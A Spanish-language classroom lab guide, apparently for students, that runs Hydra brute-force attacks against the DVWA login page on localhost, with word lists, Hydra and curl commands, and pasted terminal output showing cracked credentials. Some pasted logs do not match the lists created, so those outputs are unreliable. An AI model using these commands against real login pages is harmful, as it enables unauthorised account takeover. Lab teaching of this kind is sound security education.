

Objetivo del ejercicio en Ubuntu o Kali:

Simular un ataque de fuerza bruta contra la pantalla de login de DVWA usando la herramienta **Hydra**, disponible en los repositorios de Ubuntu.

Requisitos previos

- Ubuntu (Desktop o en VM)
 - DVWA funcionando en `http://localhost/DVWA`
 - DVWA en **Security Level: Low**
 - Apache y MariaDB funcionando
 - Internet (para instalar Hydra si no está)
-

PASO 1: Instalar Hydra

Si aún no está instalada:

```
sudo apt update
```

```
sudo apt install hydra -y
```

```
hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-11-03 12:09:49
~/Documents/box/hydra > hydra -v
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-03 12:12:26
[ERROR] Invalid target definition!
[ERROR] Either you use "www.example.com module [optional-module-parameters]" *or* you use the "module://www.example.com/optional-module-parameters" syntax!
```

PASO 2: Crear las listas de usuarios y contraseñas

En tu directorio personal:

```
cd /home/osboxes
```

➤ **users.txt**

```
echo -e "admin\nuser\ntest\nroot" > users.txt
```

➤ **passwords.txt**

```
echo -e "1234\nadmin\npassword\nroot\n123456" > passwords.txt
```

PASO 3: Verifica la URL del formulario en DVWA

Asegúrate de que el login está en:

<http://localhost/DVWA/vulnerabilities/brute/>

La estructura del formulario (vista en el código fuente HTML) es:

```
<form action="#" method="post">  
  
<input type="text" name="username"/>  
  
<input type="password" name="password"/>  
  
<input type="submit" name="Login" value="Login"/>  
  
</form>
```

PASO 4: Ejecutar el ataque con Hydra

Desde el terminal, estando en la carpeta con tus listas:

```
hydra -L users.txt -P passwords.txt 127.0.0.1 http-post-form  
"/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Login failed" -t 4  
-w 10
```

Explicación:

- -L: lista de usuarios
- -P: lista de contraseñas
- http-post-form: ataque a formulario web
- :Login failed: mensaje que devuelve la app cuando el login falla (lo puedes ver en el HTML de DVWA)

```
~/Documents/box/hydra > ls  
passwords.txt  users.txt  
~/Documents/box/hydra > hydra -L users.txt -P passwords.txt 127.0.0.1 http-post-form "/DVWA/vul  
nerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Login failed" -t 4 -w 10  
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secre  
t service organizations, or for illegal purposes (this is non-binding, these *** ignore laws an  
d ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-03 11:59:41  
[DATA] max 4 tasks per 1 server, overall 4 tasks, 6 login tries (l:2/p:3), ~2 tries per task  
[DATA] attacking http-post-form://127.0.0.1:80/DVWA/vulnerabilities/brute/:username=^USER^&pass  
word=^PASS^&Login=Login:Login failed  
[80][http-post-form] host: 127.0.0.1 login: root password: 1234  
[80][http-post-form] host: 127.0.0.1 login: admin password: 1234  
[80][http-post-form] host: 127.0.0.1 login: admin password: password  
[80][http-post-form] host: 127.0.0.1 login: admin password: admin  
1 of 1 target successfully completed, 4 valid passwords found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-11-03 11:59:42  
~/Documents/box/hydra >
```

```

~/Documents/box/hydra > curl -i -s -X POST \
-d "username=baduser&password=badpass&Login=Login&user_token=TOKEN_AQUI" \
'http://localhost/DVWA/vulnerabilities/brute/' -c cookies.txt -b cookies.txt > resp_fail.html

~/Documents/box/hydra > ls
cookies.txt  page.html  passwords.txt  resp_fail.html  users.txt
~/Documents/box/hydra > cat cookies.txt
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.

#HttpOnly_localhost    FALSE   /      FALSE   0      security      impossible
#HttpOnly_localhost    FALSE   /      FALSE   1762254528    PHPSESSID    4b4ede61b2d2de7
3dbdc3a0c2ac62885
~/Documents/box/hydra > hydra -L users.txt -P passwords.txt -V localhost http-post-form "/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Login failed"

Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-03 12:09:48
[DATA] max 12 tasks per 1 server, overall 12 tasks, 12 login tries (l:3/p:4), ~1 try per task
[DATA] attacking http-post-form://localhost:80/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login failed
[ATTEMPT] target localhost - login "1" - pass "1" - 1 of 12 [child 0] (0/0)
[ATTEMPT] target localhost - login "1" - pass "2" - 2 of 12 [child 1] (0/0)
[ATTEMPT] target localhost - login "1" - pass "3" - 3 of 12 [child 2] (0/0)
[ATTEMPT] target localhost - login "1" - pass "4" - 4 of 12 [child 3] (0/0)
[ATTEMPT] target localhost - login "1" - pass "5" - 5 of 12 [child 4] (0/0)
[ATTEMPT] target localhost - login "1" - pass "6" - 6 of 12 [child 5] (0/0)
[ATTEMPT] target localhost - login "1" - pass "7" - 7 of 12 [child 6] (0/0)
[ATTEMPT] target localhost - login "1" - pass "8" - 8 of 12 [child 7] (0/0)
[ATTEMPT] target localhost - login "1" - pass "9" - 9 of 12 [child 8] (0/0)
[ATTEMPT] target localhost - login "1" - pass "0" - 10 of 12 [child 9] (0/0)
[ATTEMPT] target localhost - login "1" - pass "1" - 11 of 12 [child 10] (0/0)
[ATTEMPT] target localhost - login "1" - pass "2" - 12 of 12 [child 11] (0/0)

```

hydra -L users.txt -P passwords.txt localhost http-get-form

"/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie: security=low; PHPSESSID=ef43cf865ff49a8debdb20ae75f48fb:F=incorrect"

Resultado esperado

Hydra devolverá algo así:

[80][http-post-form] host: 127.0.0.1 login: admin password: password

```

~/Documents/box/hydra > hydra -L users.txt -P passwords.txt localhost http-get-form "/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie: security=low; PHPSESSID=ef43cf865ff49a8debdb20ae75f48fb:F=incorrect"
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-03 13:08:14
[DATA] max 12 tasks per 1 server, overall 12 tasks, 12 login tries (l:3/p:4), ~1 try per task
[DATA] attacking http-get-form://localhost:80/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie: security=low; PHPSESSID=ef43cf865ff49a8debdb20ae75f48fb:F=incorrect
[80][http-get-form] host: localhost login: admin password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-11-03 13:08:15

```

 **Extra: Cambiar nivel de seguridad**

Haz que tus alumnos cambien la seguridad de DVWA a **Medium** y repitan el ataque para ver cómo ya no funciona tan fácilmente.

Resultado